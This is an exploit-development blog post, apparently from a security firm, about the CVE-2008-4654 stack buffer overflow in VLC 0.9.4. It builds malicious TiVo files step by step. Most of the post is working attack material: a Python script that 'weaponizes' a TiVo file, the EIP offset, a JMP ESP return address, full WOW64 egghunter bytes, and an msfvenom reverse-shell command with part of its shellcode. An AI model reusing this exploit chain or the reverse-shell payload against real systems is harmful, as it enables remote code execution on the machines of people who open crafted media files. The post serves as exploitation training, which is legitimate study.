VLC Stack-Based Buffer Overflow – Exploiting CVE-2008-4654 with a WOW64 Egghunter

Recently, I was reading A Bug Hunter’s Diary by Tobias Klein, an incredibly well-written book on various exploitation techniques and, more importantly, bug-hunting methodologies—particularly in binaries. Even though the book itself is more than 15 years old, it remains a valuable resource. I highly recommend reading through it in detail for beginners and trying to understand each concept thoroughly. You can’t skip these great older resources to learn the basics of binary exploit development, debugging, and reverse engineering.

I started building an exploit while working through Chapter 2, which covers the buffer overflow vulnerability CVE-2008-4654 in VLC Media Player version 0.9.4. I discovered that a few public exploits already exist on GitHub. Most of these exploits mention that it’s nearly impossible to do anything significant with this vulnerability because the available stack space is very limited. As a result, almost all of them only execute calc.exe, since that shellcode is short enough to fit into the small stack space. It seems that no one has tried to push beyond just launching calc.exe—like implementing a C2 stager—which motivated me to write this blog post.

Key Learnings in this Post

In this blog post, we will:

  • Briefly introduce the vulnerability CVE-2008-4654.
  • Write a proof of concept to gain control over EIP.
  • Use a WOW64 egghunter to execute an arbitrary payload.

Disclaimer

We will look at a 32-bit binary running on a 64-bit Windows 10 virtual machine. Because of how our final egghunter works, the exploit only functions on a 64-bit machine—although porting it to x86 is trivial by modifying the egghunter. Also, keep in mind that this vulnerability is nearly two decades old. The security impact is probably negligible because the likelihood that someone will still be using VLC 0.9.4 is tiny (though not zero). The primary purpose of this post is to explore the vulnerability in more detail and illustrate how to use an older exploit vector to run current payloads.

Setup

I’m using a Windows 10 Enterprise 22H2 x64 virtual machine running in VMware Workstation 15 with FLARE VM installed. For shellcode creation, I’m using a simple Kali VM.

Introducing the Vulnerability

Without repeating every detail, Tobias Klein uncovered, the following snippet highlights the core vulnerability. You can download the source code from VideoLan VLC version 0.9.4 if you want to follow along.

In vlc-0.9.4_src\modules\demux\ty.c, line 1641 reads user-controlled input into a buffer of size 32 bytes, which is then copied to the stack. So far, so good. However, on line 1642, the user-controlled value from these bytes is stored into a 4-byte variable i_map_size. On line 1650, another stream_read() is performed, and the size of this read depends on i_map_size. If i_map_size exceeds 24, a stack buffer overflow will occur as mst_buf uses a buffer of 32 bytes.

Following the execution flow of processing a TiVo Movie file, you’ll encounter the function get_chunk_header(), which eventually calls the vulnerable parse_master() function. The program checks if the TY packet header contains TIVO_PES_FILEID (#define TIVO_PES_FILEID ( 0xf5467abd )). If it does, parse_master() is called. Twenty bytes after TIVO_PES_FILEID, four user-controlled bytes (i_map_size is of type int) are read into the buffer.

Crashing the Application

First, we want to see if we can crash the application to build an exploit. We need a valid TiVo file as our input. You could use any existing TiVo file or create one from scratch. While researching, we came across the MPlayerHQ TiVo samples, exactly like Tobias Klein did in his book, so let’s stick to that source and just grab any of these available sample files.

As we saw in the code above at line 1867, the parser_master function is called after finding the byte pattern TIVO_PES_FILEID defined as 0xf5467abd. This means, to crash the application, we look for TIVO_PES_FILEID in our TiVo file, then overwrite the 4-byte value exactly 20 bytes later. In the test-dtivo-junksip.ty+ file we took from from MPlayerHQ, this pattern appears at offset 0x00300000. Changing the 4 bytes at 0x300014 (20 bytes after the TIVO_PES_FILEID) to something like 0x000000ff causes a crash as the value of 0xff + 0x08 overflows the available buffer size of 32.

Taking Control of EIP

By changing the 4-byte value at 0x300014 in the previously downloaded TiVo file to 0x000000ff, running VLC, and opening the modified TiVo file, the application crashed shortly afterward, and EIP ended up containing 0x20030000.

This specific byte pattern in little endian format is located 96 bytes after the occurrence of TIVO_PES_FILEID in test-dtivo-junksip.ty+. If we modify these bytes, we will take control of the EIP.

[...] F5 46 7A BD [...] 00 00 00 FF [...] 00 00 03 20 [...]

Next, we overwrite those bytes with a unique byte pattern to get some more information about the stack layout and our exploitation opportunities. Although this step is optional, it will highlight why most available exploits do not execute anything useful other than calc.exe. Throughout this tutorial, we are using primarily x32dbg and this ERC.xdbg Plugin; We will start by updating the ERC working directory using ERC --config SetWorkingDirectory C:\temp. Next, we must create a unique pattern so ERC can detect our cyclic pattern in memory and return some information about the available stack layout and space: ERC --patern c 2000. Finally, to make our lives easier in the following steps, we use a Python script that takes a TiVo file as an input parameter and returns a weaponized version. Alternatively, we could also use Immunity combined with mona.py. During our research, we switched between x32dbg and Immunity, but in the end, we preferred xdbg, although both variants are possible to use.

#!/usr/bin/env python3

import sys
import argparse

# Define constants
TIVO_PES_FILEID = b'\xf5\x46\x7a\xbd'
BOF = b'\x00\x00\x00\xff'
PAYLOAD = b'\x41\x61\x30[...]'  # Replace [...] with your actual payload bytes

def main():
    parser = argparse.ArgumentParser(
        description="Transform a given TiVo file into a 'weapon' with predefined shellcode."
    )
    parser.add_argument('--input', required=True,
                        help='Path to the input TiVo file to be weaponized.')
    parser.add_argument('--output', required=True,
                        help='Path where the modified (weaponized) TiVo file will be saved.')
    args = parser.parse_args()

    input_file = args.input
    output_file = args.output

    # Read the input file in binary mode
    with open(input_file, 'rb') as f:
        data = bytearray(f.read())

    # Search for the TIVO_PES_FILEID pattern
    magic_index = data.find(TIVO_PES_FILEID)
    if magic_index == -1:
        print(f"[!] TIVO_PES_FILEID pattern ('{TIVO_PES_FILEID.hex()}') "
              f"not found in '{input_file}'. Exiting.")
        sys.exit(1)

    print(f"[+] Found TIVO_PES_FILEID at offset {hex(magic_index)}.")

    # Move 20 bytes from the found pattern and replace the next 4 bytes (BOF)
    bof_offset = magic_index + 20
    data[bof_offset:bof_offset + 4] = BOF
    print(f"[+] Replaced 4 bytes at offset {hex(bof_offset)} with 0x{BOF.hex()}.")

    # Move 92 bytes from the found pattern and replace the next bytes (PAYLOAD)
    payload_offset = magic_index + 92
    data[payload_offset:payload_offset + len(PAYLOAD)] = PAYLOAD
    print(f"[+] Replaced {len(PAYLOAD)} bytes at offset {hex(payload_offset)}.")

    # Write the modified data to the output file
    with open(output_file, 'wb') as f:
        f.write(data)

    print(f"[+] Successfully weaponized: {output_file}")

if __name__ == '__main__':
    main()

After rerunning vlc.exe and opening the weaponized TiVo file, we find that EIP holds 0x41306141, which is the start of our pattern.

However, if we look at the memory ESP points to, we only see around 200 bytes of the cyclic pattern.

This is where most existing exploits stop, opting to execute calc.exe because the required shellcode for the available stack space is short enough. However, for our purposes, this is not enough.

Finding a Suitable Module

Lets summarize: We can control the instruction pointer and have around 200 bytes of stack space available. Normally, we would now check for bad characters; however, in this specific scenario, there aren’t any except for \0x00, so for simplicity’s sake, we will skip the badchars checking part. To continue the exploit development, we need a suitable module and a corresponding JMP ESP instruction to point the instruction pointer to, which jumps to ESP and executes code directly from the stack. It’s time to look for an unprotected module; we can use ERC again and run ERC --ModuleInfo which will return a couple of promising modules. We will stick to the executable itself as vlc.exe does not implement any measures.

As we can see from the image, numerous suitable modules are available. Using the following command, we can search for modules containing a JMP ESP (FF E4), excluding ones with measures implemented like ASLR, NXCompat (DEP), SafeSEH, and Rebase enabled: ERC --SearchMemory FF E4 -ASLR -SafeSEH -Rebase -NXCompat. By default, the command returns possible addresses which are part of the executing module. If we wanted to use another module, it would be possible pass the corresponding module to the command.

We will be using the address 0x0040b333. However, the available options should work as well.

The Fun Part – Creating Shellcode

We have a pointer to ESP, we control EIP, and we have about 200 bytes of shellcode space on the stack. The available space obviously isn’t enough for a staged or stageless payload beyond something small (calc.exe). But we know the entire TiVo file is loaded into memory somewhere. So, theoretically, if our payload was part of the file, it would be in memory anywhere in the virtual address space of that process. To showcase that we are able to load any payload into memory, we will reuse our previous proof of concept Python script, change the pattern to overwrite the EIP, and point it to our previously identified JMP ESP pointer at 0x0040b333, followed by a hardware breakpoint 0xcc, an arbitrary amount of NOPs to overwrite the whole stack followed by the shellcode we want to execute, pushed out of the stack. If everything goes well, EIP will contain the value of 0x0040b333; the execution stops at the predefined breakpoint,  the stack is filled with NOPs, and our payload lives somewhere in memory.

Let’s use a simple msfvenom reverse shell payload as shellcode. We are also setting up a multi/handler listener on Kali, so we are all set on our listening machine. Executing msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00' will generate the payload we need. For demonstration purposes, we are using a stageless x86 reverse shell payload, setting our listening machine and listening port, selecting Python as the output format, and ensuring we do not use any null bytes in the shellcode.

After aligning the EIP to point to JMP ESP, all we have to now is add a breakpoint, create a NOP sled of 1000 bytes in length, and add the msfvenom stageless payload, which is 351 bytes, making the whole payload now 1356 bytes. So, let’s change the Python POC from before accordingly.

#!/usr/bin/env python3

import sys
import argparse


buf =  b''
buf += b'\xb8\x46\xd8\x2f\xcf\xd9\xc5\xd9\x74\x24\xf4\x5d'
buf += b'\x33\xc9\xb1\x52\x31\x45\x12\x83\xed\xfc\x03\x03'
[...]

# Define constants
TIVO_PES_FILEID = b'\xf5\x46\x7a\xbd'
BOF = b'\x00\x00\x00\xff'
EIP_RET = b'\x33\xB3\x40\x00'
PAYLOAD = EIP_RET + b'\xcc' +  b'\x90' * 1000 + buf
[...]

We must rerun our modified proof of concept and create another TiVo file. When opened in VLC, the hardware breakpoint is hit, the EIP points to the first NOP instruction, the stack is filled with NOP instructions, and the msfvenom payload is loaded into memory nonetheless.

Egghunting For Fun And Profit

Let’s recap what we’ve accomplished so far: we control the application’s execution flow, have around 200 bytes of stack space at our disposal, and can load any shellcode into memory. This sets the stage for the final phase of our exploit development: egghunting.

In a nutshell, egghunting enables us to embed a small piece of shellcode within the limited stack space, which then searches through the process’s memory for a unique, predefined tag. Once this tag is found—signaling the start of our second-stage payload—the shellcode jumps to it. This technique effectively bypasses the stack size restriction by allowing us to store and execute a much larger payload elsewhere in memory. If you want to learn more about this technique, we highly recommend reading through one of the most referenced papers on this topic by Matt Miller.

Essentially, our plan is:

  • Use the limited stack space for a small egghunter shellcode.
  • Embed an “egg” (e.g., w00tw00t) before the large payload.
  • The egghunter searches memory for w00tw00t and, upon finding it, executes the real payload.

Although the ERC xdbg plugin can also create egghunters, we faced some issues. However, going into further detail would go beyond the scope of this article. So we used Mona to generate an egghunter using !mona egghunter, which will output something like "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7". This egghunter works fine on a pure 32-bit system. However, on 64-bit Windows running a 32-bit application, you’ll hit an INT 2E instruction that causes an exception. As detailed in Corelan’s WOW64 Egghunter article, you need a modified approach to generate an egghunter specifically for WOW64 (as we are running a 32-bit application on a 64-bit Windows). With Mona, we could use !mona egg -wow64 -winver 10, with xdbg, ERC --egghunters w00t returns a list of possible egghunters, including one for WOW64.

We’re all set now. We can update our Python script one last time to include the egghunter. We’ve added extra NOPs to ensure the shellcode remains in one contiguous block in memory. Additionally, we’ve inserted a NOP sled right before the egghunter shellcode and placed the egg marker immediately before the reverse shell payload.

#!/usr/bin/env python3

import sys
import argparse


buf =  b''
buf += b'\xb8\x46\xd8\x2f\xcf\xd9\xc5\xd9\x74\x24\xf4\x5d'
buf += b'\x33\xc9\xb1\x52\x31\x45\x12\x83\xed\xfc\x03\x03'
buf += b'\xd6\xcd\x3a\x77\x0e\x93\xc5\x87\xcf\xf4\x4c\x62'
[...]

# Define constants
TIVO_PES_FILEID = b'\xf5\x46\x7a\xbd'
BOF = b'\x00\x00\x00\xff'
EIP_RET = b'\x33\xB3\x40\x00'
EGG_HUNTER_WOW64 = b''
EGG_HUNTER_WOW64 += b'\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53\x53'
EGG_HUNTER_WOW64 += b'\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c'
EGG_HUNTER_WOW64 += b'\x05\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75\xd7'
EGG_HUNTER_WOW64 += b'\xff\xe7'

PAYLOAD = EIP_RET +  b'\x90' * 16 + EGG_HUNTER_WOW64 + b'\x90' * 256 + bytes('w00tw00t', 'utf-8') + buf
[...]

Once we integrate that WOW64-friendly egghunter, we’ll see an expected access violation when the hunter probes protected memory. That’s normal. You can simply exclude these exceptions in xdbg or just run vlc.exe standalone with the final TiVo file to let the egghunter continue execution.

That’s it for now! We’ve shown how to create a reliable exploit for this ancient VLC vulnerability, bypassing the usual 200-byte limit on the stack via a WOW64 egghunter. While the real-world impact of CVE-2008-4654 is minimal these days, it remains a fun demonstration of classic stack exploitation techniques that are still relevant for learning and honing your skills.

Resources

Table of Contents

Our primary goal is to deliver reliable and secure IT solutions to our clients and contribute resources to creating a more secure world. Copyright © 2021 – 2025 Hexastrike Cybersecurity UG (haftungsbeschraenkt)